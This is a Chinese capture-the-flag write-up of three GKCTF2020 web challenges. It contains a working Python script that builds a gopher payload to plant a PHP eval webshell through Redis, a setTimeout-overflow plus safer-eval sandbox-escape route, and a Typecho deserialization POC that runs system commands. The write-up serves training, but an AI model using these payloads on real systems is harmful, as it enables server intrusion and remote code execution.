EzWeb


发个url发现一直卡在那里

发现有个secret

进去之后弹出linux 查询网卡信息的内容
给出了服务器ip,记录下ip地址
我们访问下ip

结果弹出两,不难发现是个SSRF
SSRF漏洞利用讲解
根据上面文章,我们利用file协议读取下index.php



那试试扫端口

个人喜欢写脚本,不喜欢用bp,用bp也可以(这里还需要扫内网主机)
从1-255爆破ip最后一段即可

发现是11

然后扫端口
在网上找了个脚本扫端口
脚本作者链接

这个脚本和nmap好像都跑不出来…
用bp吧。。

把ip改为扫到的内网主机ip,从0-65535开始扫


发现6379端口,可以用gopher协议攻击redis

攻击redis的方法以及EXP
本人是废物,写不出这种exp
这是python2的,改下ip 放kali里去

import urllib
protocol="gopher://"
ip="173.107.98.10"
port="6379"
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print payload

将生成的payload直接放过打

暂时不知道为什么一定要在那个url框中输入

应该是url编码的问题

传过后,再访问shell.php
记住需要绕空格

发现flag在根目录下,查看即可

EzNode

const express = require('express');
const bodyParser = require('body-parser');const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库const fs = require('fs');const app = express();app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {if (req.path === '/eval') {let delay = 60 * 1000;console.log(delay);if (Number.isInteger(parseInt(req.query.delay))) {delay = Math.max(delay, parseInt(req.query.delay));}const t = setTimeout(() => next(), delay);// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事setTimeout(() => {clearTimeout(t);console.log('timeout');try {res.send('Timeout!');} catch (e) {}}, 1000);} else {next();}
});app.post('/eval', function (req, res) {let response = '';if (req.body.e) {try {response = saferEval(req.body.e);} catch (e) {response = 'Wrong Wrong Wrong!!!!';}}res.send(String(response));
});// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {res.set('Content-Type', 'text/javascript;charset=utf-8');res.send(fs.readFileSync('./index.js'));
});// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {res.set('Content-Type', 'text/json;charset=utf-8');res.send(fs.readFileSync('./package.json'));
});app.get('/', function (req, res) {res.set('Content-Type', 'text/html;charset=utf-8');res.send(fs.readFileSync('./index.html'))
})app.listen(80, '0.0.0.0', () => {console.log('Start listening')
});

简单说下主要的漏洞代码吧,现在对node.js还不是很熟。。。。。

这一大段主要是在/eval这个路由下,首先他先设置delay的默认值,我们可以去到这个路由把delay的值传过去,
然后他会比较传过去的值和默认值,选较大的一方作为自己的值。然后就是设置超时,将秒数delay作为超时时限,超时了就进到下一个路由

可是我们无论怎么发都不可能超过6秒
问题出在了SetTimeout这个函数
存在溢出
关于这个函数详细分析

只要大于2147483647,就会发生溢出,就可以绕过那个时间限制,进入下一个路由

可以发现已经绕过那个时间限制了
接着看下一个路由

他这里要我们post传参e,,就是要让我们沙盒逃逸


搜一波这个库的漏洞,搜到一个CVE

CVE漏洞POC
下面给出了更简单的POC,就是绝大多数wp的那个POC

https://github.com/commenthol/safer-eval/issues/10

把那个POC往上面放放,直接RCE

注意用法

查看根目录下flag

EzTypecho


是一个Typecho写的网站,搜搜这个东东有啥漏洞

Typecho漏洞分析

这上面已经讲得很清楚了

大概意思呢就是通过反序列化,调用call_user_func(),来RCE,具体不详说了,文章里里已经写的很清楚,网上别的文章也讲得不错


放过去之后弹出说没有session
这是题目给出的源码就起作用了

发现他把session给禁了,所以打不通

往下看

有个start,用样存在反序列化的问题


可以发现成功RCE
接着更改那篇文章的POC,拿flag

<?php
class Typecho_Request
{private $_params = array();private $_filter = array();public function __construct(){$this->_params['screenName'] = 'ls /';//$this->_params['screenName'] = -1;$this->_filter[0] = 'system';}
}class Typecho_Feed
{const RSS2 = 'RSS 2.0';/** 定义ATOM 1.0类型 */const ATOM1 = 'ATOM 1.0';/** 定义RSS时间格式 */const DATE_RFC822 = 'r';/** 定义ATOM时间格式 */const DATE_W3CDTF = 'c';/** 定义行结束符 */const EOL = "\n";private $_type;private $_items = array();public $dateFormat;public function __construct(){$this->_type = self::RSS2;$item['link'] = '1';$item['title'] = '2';$item['date'] = 1507720298;$item['author'] = new Typecho_Request();$item['category'] = array(new Typecho_Request());$this->_items[0] = $item;}
}$x = new Typecho_Feed();
$a = array('host' => 'localhost','user' => 'xxxxxx','charset' => 'utf8','port' => '3306','database' => 'typecho','adapter' => $x,'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($a)));
?>


查看根目录flag即可

[GKCTF2020]EZ三剑客 记录相关推荐

  1. [GKCTF2020]EZ三剑客-EzWeb

    [GKCTF2020]EZ三剑客-EzWeb ctrl u查源码,里面有个?secret 访问后有一串代码 eth0 Link encap:Ethernet HWaddr 02:42:0a:00:73 ...

  2. [GKCTF2020]EZ三剑客-EzNode

    前言 之前buu上刷到这题的时候,感觉是个node.js的题,因为不会node.js,就绕过没看了.今天在某平台做红包题遇到了基本上考点一样的题目,在学长的指引下又把这题给做了一下,总的来说还算比较友 ...

  3. GKCTF EZ三剑客-EzWeb 题目分析总结

    此篇文章在安全客首发,仅转载到个人博客 https://www.anquanke.com/post/id/209117 前言 刚考完考试自己在buu上复现的,之前没来得及做,复习去了,虽然还是考的很菜 ...

  4. BUUCTFweb比赛做题记录

    [VNCTF 2021]Ez_game 打开为通过游戏 手打通关是不可能的 法一:在控制台输入winTimer.Set(); 法二: https://www.sojson.com/jsobfuscat ...

  5. ----已搬运----【总章程】SSRF完全学习,,什么都有,,,原理,绕过,攻击

    目录: 1.漏洞详情: 2. SSRF漏洞相关函数和类 2.1 file_get_contents() 2.2 fsockopen() 2.3 curl_exec() 2.4 SoapClient 2 ...

  6. Nodejs的安全学习

    文章目录 Nodejs Nodejs的文档 弱类型 大小写比较 js大小写绕过 ctfshow web334 ES6模板字符串 命令执行 ctfshow web335 ctfshow web336 数 ...

  7. Buuctf -web wp汇总(三)

    Buuctf -web wp汇总(一):链接 Buuctf -web wp汇总(二):链接 Buuctf -web wp汇总(三):链接 文章目录 [WUSTCTF2020]朴实无华 [WUSTCTF ...

  8. Typecho反序列化漏洞分析

    0x00 前言 在刷buu 的时候做到一道关于 Typecho 的题 ,[GKCTF2020]EZ三剑客-EzTypecho wp 中说到可以利用Typecho 的 反序列化 poc 来打,感觉直接用 ...

  9. [GKCTF2020]web

    CheckIN 打开题目得到源码 <title>Check_In</title> <?php highlight_file(__FILE__); class ClassN ...

最新文章

  1. 设置子节点相对于父节点水平竖直都居中
  2. Hadoop详解(七):YARYN完全分布式环境搭建
  3. java用户界面—创建一个面板
  4. DRF的序列化——Serializers 序列化组件
  5. Struts2 在页面定义变量 s:set标签
  6. 【深度学习理论】一文搞透pytorch中的tensor、autograd、反向传播和计算图
  7. 合并k个有序链表 python_leecode刷题(27)-- 合并k个排序链表
  8. 10个Python实战编程项目,有趣又好玩
  9. Python之---【pandas】pd.concat(df)、df.append(df)
  10. 表单checkbook获取已选择的值
  11. HDU1269-迷宫城堡
  12. RTSP流媒体播放器实现
  13. C语言—今天星期几(详细注释)
  14. cadence使用教程
  15. 【UE·蓝图底层篇】一文搞懂NativeClass、GeneratedClass、BlueprintClass、ParentClass
  16. win10 无线鼠标卡顿,跳帧
  17. 四周型文字环绕怎么设置_word怎样设置四周型版式
  18. C#实现汉字转拼音(包括生僻字)
  19. 【Python】数据分析——直方图、散点图、线性回归、多项式回归、拟合度
  20. 绿色便携版杀毒软件Clamwin也能自动作业

热门文章

  1. No handler found for GET /favicon.ico
  2. Windows Vista应用程序的开发中,对应UAC(User Account Control, 用户帐户控制)的开发需求 (二)
  3. 妈妈的一封信(代序)写给女儿三毛
  4. 对tensorflow里面keras种的Dense的units的理解
  5. 面向对象设计的七大原则 (包括SOLID原则)
  6. Hadoop 3.3.0 基础配置
  7. 安卓厨房软件linux,无烦恼厨房游戏安卓版
  8. 视源aic800wifi/bt调试
  9. vim极为详细的教程(一)基本操作
  10. 静态HTML网页设计作品`零售食品商城网站(5页) HTML+CSS+JavaScript 网站设计源代码制作素材成品